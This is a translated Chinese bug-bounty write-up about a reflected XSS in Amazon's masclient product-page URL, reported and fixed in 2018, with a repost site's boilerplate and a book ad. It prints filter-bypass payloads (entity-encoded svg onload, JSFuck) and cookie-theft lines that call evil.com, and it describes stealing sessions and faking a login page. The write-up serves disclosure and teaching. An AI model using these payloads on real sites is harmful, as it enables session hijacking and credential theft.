内容简介：在过去的两个月里，我一直通过开发我一直对亚马逊网站的货物展示方式感兴趣，比如，这种展示方式的设计架构是啥？他们如何实现良好的用户体验呢？这些可以略从亚马逊的A/B测试策略知晓，但却无法找到他们具体的网站架构测试设计。
在过去的两个月里，我一直通过开发 https://scroll.am 网站 (亚马逊快速浏览方式)来提高我的前端和后端技能。我通过这样的项目开发来学习更多关于Web新框架（如vue.js）和新技术（如Codestar & Lambda，AWS )。在此过程中，我也学习到了一些关于XSS漏洞的知识，发现了亚马逊的某个反射型XSS漏洞，来和大家作个分享。
我一直对亚马逊网站的货物展示方式感兴趣，比如，这种展示方式的设计架构是啥？他们如何实现良好的用户体验呢？这些可以略从亚马逊的A/B测试策略知晓，但却无法找到他们具体的网站架构测试设计。
A/B测试是一种新兴的网页优化方法，可以用于增加转化率注册率等网页指标。简单来说， A/B测试 是一种用于提升App/H5/小程序产品转化率、优化获客成本的数据决策方法。对于互联网产品来说，通过A/B测试提升点击转化率，优化获客成本已得到越来越多的关注。
APP安全测试
亚马逊购物APP
一种查看亚马逊网站架构设计的方式莫过于去了解它的购物APP了。某个雨天的周五下午，我决定反编译一下 亚马逊的安卓APP 看看其中的代码长啥样。大概步骤是这样的：下载 APK文件 ，使用一些 在线反编译器 提取其中的代码，检查其中不同文件涉及的URL链接和产品页面等信息。
查找产品页面链接
通常，亚马逊产品页面链接中都包含 ‘/dp/’ 字样，大概是这样的： https://www.amazon.com/gp/masclient/dp/ <product_id> ，所以我就简单的执行了 ‘/dp/’ 字段搜索：
Masclient 产品页面
我检查了很多产品页面URL，但唯独没见着像下图这样包含 ‘masclient’ 的产品页面URL：
https://www.amazon.com/gp/masclient/dp/B00Q7LTUK
哦，这看似是一个使用内部应用的自定义产品页面，把产品id换成其它看看会是什么反应？
额，这好像有点戏，URL解析过程中未对产品id作适当检查，而且还把它全部大写了（TEST），那来看看注入HTML代码会怎样呢？就试试滚动内容的HTML <marquee> 标签吧：
https://www.amazon.com/gp/masclient/dp/%3Cmarquee%3E%3Ch1%3Ehi%20mom!
啊，太好了，URL竟然对7个不同字段进行了解析，其中一个地方就是脚本标签里：
面临的问题
输入会被大写化
所以像alert这样的javascript函数会被转义为ALERT，从而失效。还好，有人曾在对Yahoo.com网站的XSS漏洞挖掘中规避了这种大写转义，解决方法是这样的：先把纯文本字符转换为HTML实体字符，然后对其进行URL编码，最后用SVG标记的onload参数输出，格式像这样：
<svg onload=%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x27%3B%26%23x48%3B%26%23x69%3B%26%23x20%3B%26%23x4D%3B%26%23x6F%3B%26%23x6D%3B%26%23x27%3B%26%23x29%3B>
像</script>这样的闭合标签不可用
遇到闭合标签它会给出404错误响应，所以，这样就不可能通过<script src=”evil.com/1.js”></script>这样的方式来加载我们的 javascript 文件。解决方法要这样：在DOM标签中，使用 <svg onload=javascript:alert(1)> 实现 javascript 注入，或者直接使用链接脚本中的向量来执行，像这样，我们可以添加这样的 “}’> 几个字符来突破限制，最终的URL链接就会是这样的：
https://www.amazon.com/gp/masclient/dp/ ‘}”);}JAVASCRIPTHERE;{(“
由于大写转义的问题，我们在这考虑用 jsfuck 代码方式来把 javascript 代码转变为 ! ( ) + [ ] 形式的字符，例如响应出 debugger 函数的URL经 jsfuck 方式转换后是这样的：
如果对URL长度没限制的话，利用这种技术可以成功注入cookie窃取代码 fetch("evil.com"+document.cookie)，最终实现这种cookie窃取的URL长度会超过8000个字符。
URL链接长度限制
按我的测试来看，只要URL长度超过3500个字符左右，亚马逊网站页面就会停止响应，所以，在这里，要想实现cookie窃取，我们貌似就不能利用这种 JSFuck 编码技术 了。但在reddit社区中，有人建议可以用 jjencode 编码，但我测试后发现，这种 $ 符号的方式最终好像不能被正常解析。
JSFuck：是一种基于JavaScript的另类编程风格，它只使用六个不同的字符（[，]，(，)，!，+），来编写和执行代码。它不依赖于浏览器，所以你甚至可以在 Node.js. 上运行它，转换后的代码只使用6个字符，实现的功能和转换前代码是一样的。
Chrome 浏览器 XSS Auditor的警告
Chrome 浏览器67.0.3396.62后的版本，都会主动识别并阻拦XSS攻击，抛出 ERR_BLOCKED_BY_XSS_AUDITOR 响应错误。为了完成验证性测试，我采用了无内置ss auditor的Firefox (60.0.1) 浏览器。
最终在Firefox中的 XSS PoC 攻击
有了对以上问题的分析之后，在这里，我构造了一个亚马逊URL链接，能让访问者重定向到另一个外部URL链接，并在该外部链接中实现对访问者cookie的窃取展示。由于访问者所有对亚马逊网站的浏览操作都会被这个构造链接记录，也就是说最终我就可以窃取访问者的亚马逊网站session。另外，我还可以在其中加入一个假冒的亚马逊登录界面，间接实现对访问用户的用户名密码信息窃取。
最终用到的Payload
测试链接：
URL编码后的链接：
HTML 实体字符转换后的链接:
在 Chrome 浏览器中弹出 alert(1) 的链接（还是采用了JSFuck 编码）：
总结
要对内部APP应用进行严格安全审查，有时一个参数就可导致严重的安全漏洞。XXS payload一样也能通过混淆编码方式绕过某些限制，形成安全威胁。
漏洞上报进程
2018-6-8 发现漏洞 2018-6-9 向亚马逊上报漏洞 2018-6-11 亚马逊确认漏洞 2018-6-14 亚马逊修复漏洞，无赏金 2018-6-15 漏洞修复被确认 公开漏洞
*参考来源： medium ，clouds 编译，转载请注明来自FreeBuf.COM
以上就是本文的全部内容，希望本文的内容对大家的学习或者工作能带来一定的帮助，也希望大家多多支持 码农网
猜你喜欢:
- 挖洞经验丨印尼电商平台Tokopedia的反射型XSS漏洞
- 挖洞姿势：浅析命令注入漏洞
- Go语言反射之反射调用
- Go语言反射之类型反射
- Go语言反射之值反射
- 模块讲解----反射 (基于web路由的反射)
本站部分资源来源于网络，本站转载出于传递更多信息之目的，版权归原作者或者来源机构所有，如转载稿涉及版权问题，请联系我们。
Text Processing in Python
David Mertz / Addison-Wesley Professional / 2003-6-12 / USD 54.99
Text Processing in Python describes techniques for manipulation of text using the Python programming language. At the broadest level, text processing is simply taking textual information and doing som......一起来看看 《Text Processing in Python》 这本书的介绍吧!
